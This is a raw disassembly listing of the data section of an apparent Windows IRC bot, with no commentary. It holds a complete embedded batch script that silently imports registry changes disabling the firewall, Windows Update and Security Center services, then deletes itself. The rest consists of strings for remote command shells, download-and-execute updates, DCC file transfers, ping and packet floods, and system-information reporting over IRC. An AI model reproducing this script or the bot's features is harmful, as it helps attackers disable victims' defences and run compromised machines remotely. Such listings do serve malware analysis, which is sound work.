db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
db 'erv]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
db 0Ah
db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
db 'DEL %temp%\1.reg',0Dh,0Ah
db 'DEL %0',0Dh,0Ah,0
align 4
unk_42B368 db 2 ; DATA XREF: sub_40A093:loc_40A152o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aNotSupportedBy db ' Not supported by this system.',0
align 4
unk_42B3AC db 2 ; DATA XREF: sub_40A093:loc_40A120o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToAlloca db ' Unable to allocation ARP cache.',0
align 10h
unk_42B3F0 db 2 ; DATA XREF: sub_40A093:loc_40A0ECo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheIsEmpt db ' ARP cache is empty.',0
align 4
unk_42B428 db 2 ; DATA XREF: sub_40A093+49o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorGettingAr db ' Error getting ARP cache: <%d>.',0
align 4
unk_42B46C db 2 ; DATA XREF: sub_40A217+13Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedSendin db ' Finished sending pings to %s.',0
align 4
unk_42B4AC db 2 ; DATA XREF: sub_40A217+6Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPi db ' Error sending pings to %s.',0
align 4
dword_42B4E8 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40A3A3+1C6o
dd 2029206Ch, 2BBBB02h
aFinishedSend_0 db ' Finished sending packets to %s.',0
align 4
dword_42B528 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40A3A3+8Eo
dd 2029206Ch, 2BBBB02h
aErrorSending_1 db ' Error sending pings to %s.',0
align 4
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40A621+33o
dword_42B574 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A6A8:loc_40A7DAo
dd 2029206Ch, 2BBBB02h
aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0
align 4
dword_42B5B8 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A6A8+10Fo
dd 2029206Ch, 2BBBB02h
aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0
align 4
dword_42B5F4 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A6A8:loc_40A78Eo
dd 2029206Ch, 2BBBB02h
aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0
align 4
dword_42B638 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A7FD+194o
dd 2029206Ch, 2BBBB02h
aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0
align 10h
dword_42B680 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A7FD+14Co
dd 2029206Ch, 2BBBB02h
aRemoteCommandP db ' Remote Command Prompt',0
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40A7FD+21o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40A9B2+52o
aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
; DATA XREF: sub_40AAD1+297o
db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
db ' %s. [Uptime]: %s.',0
align 10h
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40AAD1+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40AAD1:loc_40AC35o
align 4
word_42B7C4 dw 3Fh ; DATA XREF: sub_40AAD1:loc_40ABD3r
; sub_40C297+1Fo
align 4
dword_42B7C8 dd 28207325h, 297325h ; DATA XREF: sub_40AAD1+EBo
dword_42B7D0 dd 3F3F3Fh ; DATA XREF: sub_40AAD1:loc_40AB94o
; .nsp0:loc_414341o
a2003 db '2003',0 ; DATA XREF: sub_40AAD1+BAo
; .nsp0:0042C474o ...
align 4
aXp db 'XP',0 ; DATA XREF: sub_40AAD1+AAo
; .nsp0:0041432Co ...
align 10h
a2k db '2K',0 ; DATA XREF: sub_40AAD1+98o
; .nsp0:0041431Co
align 4
aMe db 'ME',0 ; DATA XREF: sub_40AAD1+7Eo
; .nsp0:00414303o
align 4
a98 db '98',0 ; DATA XREF: sub_40AAD1+6Co
; .nsp0:004142F3o
align 4
aNt db 'NT',0 ; DATA XREF: sub_40AAD1+5Ao
; .nsp0:004142E3o
align 10h
a95 db '95',0 ; DATA XREF: sub_40AAD1+46o
; .nsp0:004142D5o
align 4
aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
; DATA XREF: sub_40AD85+ABo
align 4
off_42B834 dd offset loc_412F4C+2 ; DATA XREF: sub_40AD85:loc_40ADF9o
dword_42B838 dd 4E414Ch ; DATA XREF: sub_40AD85:loc_40ADF2o
dword_42B83C dd 6C616944h, 70752Dh ; DATA XREF: sub_40AD85+5Bo
dword_42B844 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40AD85+48o
unk_42B854 db 2 ; DATA XREF: sub_40AE4B:loc_40B004o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToConnec db 'Failed to connect to HTTP server.',0
align 4
unk_42B898 db 2 ; DATA XREF: sub_40AE4B:loc_40AFFDo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCouldNotOpenAC db 'Could not open a connection.',0
align 4
dword_42B8D8 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: sub_40AE4B+1A0o
dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h, 2064696Ch
dd 2E4C5255h, 0
unk_42B908 db 2 ; DATA XREF: sub_40AE4B:loc_40AFDEo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0
align 4
dword_42B958 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: sub_40AE4B+18Co
dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h, 69736976h
dd 2E646574h, 0
dword_42B988 dd 2A2F2Ah ; DATA XREF: sub_40AE4B+3Bo
dword_42B98C dd 202E6425h, 3D207325h, 732520h ; DATA XREF: sub_40B0F5+35o
dword_42B998 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40B0F5+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40B16D+60o
align 4
dword_42B9CC dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
; DATA XREF: sub_40B20D+1Ao
dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_42BA04 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40B27F+DCo
dd 2029206Ch, 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh
dd 2E657465h, 0
dword_42BA34 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40B27F+3Fo
dd 2029206Ch, 2BBBB02h, 65422020h, 6E6967h
dword_42BA58 dd 80000002h, 42C268h, 80000002h, 42C298h, 80000001h, 42C2D0h
; DATA XREF: sub_40B3AE+7o
dword_42BA70 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B3AE+63o
; sub_40B551+170o
dd 2029206Ch, 2BBBB02h
aFailedToSendTo db ' Failed to send to Remote command shell.',0
align 4
dword_42BAB8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B551+ABo
dd 2029206Ch, 2BBBB02h
aFailedToOpenRe db ' Failed to open remote command shell.',0
align 4
dword_42BAFC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B551+47o
; sub_40B712+FDo
dd 2029206Ch, 2BBBB02h
aFailedToOpenSo db ' Failed to open socket.',0
align 4
dword_42BB34 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B712+362o
; sub_40BAB4+156o
dd 2029206Ch, 2BBBB02h, 6F532020h, 74656B63h, 72726520h
dd 2E726Fh
dword_42BB60 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B712+2FAo
dd 2029206Ch, 2BBBB02h
aTransferComple db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42BBB4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B712+202o
dd 2029206Ch, 2BBBB02h
aUnableToOpenSo db ' Unable to open socket.',0
align 4
dword_42BBEC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B712+1CBo
dd 2029206Ch, 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h
dd 2E7475h
dword_42BC18 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40B712+16Ao
dd 169h
dword_42BC30 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B712+127o
dd 2029206Ch, 2BBBB02h
aFileDoesnTExis db ' File doesn',27h,'t exist.',0
align 4
dword_42BC64 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B712+82o
dd 2029206Ch, 2BBBB02h
aFailedToBindTo db ' Failed to bind to socket.',0
dword_42BC9C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B712+44o
dd 2029206Ch, 2BBBB02h
aFailedToCreate db ' Failed to create socket.',0
align 4
dword_42BCD4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40BAB4+1CFo
dd 2029206Ch, 2BBBB02h
aTransferComp_0 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0
align 4
dword_42BD2C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40BAB4+CBo
dd 2029206Ch, 2BBBB02h
aErrorOpeningSo db ' Error opening socket.',0
dword_42BD60 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40BAB4+ABo
dd 2029206Ch, 2BBBB02h
aErrorOpeningFi db ' Error opening file for writing.',0
align 10h
aAB db 'a+b',0 ; DATA XREF: sub_40BAB4+97o
dword_42BDA4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40BAB4+83o
dd 2029206Ch, 2BBBB02h
aErrorUnableToW db ' Error unable to write file to disk.',0
align 4
unk_42BDE8 db 2 ; DATA XREF: sub_40BCEF+493o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0
align 4
unk_42BE28 db 2 ; DATA XREF: sub_40BCEF+485o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateFailedEr db ' Update failed: Error executing file: %s.',0
unk_42BE74 db 2 ; DATA XREF: sub_40BCEF+3C9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
align 4
dword_42BEC8 dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
; DATA XREF: sub_40BCEF+358o
dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h, 656E6570h
dd 25203A64h, 2E73h
aOpen db 'open',0 ; DATA XREF: sub_40BCEF+336o
; sub_40CE55+2A37o ...
align 10h
unk_42BF00 db 2 ; DATA XREF: sub_40BCEF+2E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0
align 4
unk_42BF4C db 2 ; DATA XREF: sub_40BCEF+262o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCrcFailedDD_ db ' CRC Failed (%d != %d).',0
align 4
unk_42BF88 db 2 ; DATA XREF: sub_40BCEF+1D8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0
align 10h
unk_42BFD0 db 2 ; DATA XREF: sub_40BCEF+195o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0
align 4
unk_42C014 db 2 ; DATA XREF: sub_40BCEF+183o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileDownloadSD db ' File download: %s (%dKB transferred).',0
align 10h
unk_42C060 db 2 ; DATA XREF: sub_40BCEF+77o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_40C297:loc_40C2DAo
; sub_413627+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_40C297:loc_40C2D4o
aDisk db 'Disk',0 ; DATA XREF: sub_40C297:loc_40C2CEo
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_40C297:loc_40C2C8o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_40C297:loc_40C2C2o
align 4
aRam db 'RAM',0 ; DATA XREF: sub_40C297:loc_40C2BCo
aFailed db 'failed',0 ; DATA XREF: sub_40C328:loc_40C400o
; sub_40C443+3Bo
align 10h
aSkb db '%sKB',0 ; DATA XREF: sub_40C328+6Bo
align 4
dword_42C0D8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40C443+8Eo
dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0
align 4
dword_42C128 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40C443+58o
dd 2029206Ch, 2BBBB02h
aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0
align 4
aA_0 db 'A:\',0 ; DATA XREF: sub_40C515:loc_40C55Ao
dword_42C17C dd 1A0Bh ; DATA XREF: sub_40C682+3ADr
; sub_40C682+460r
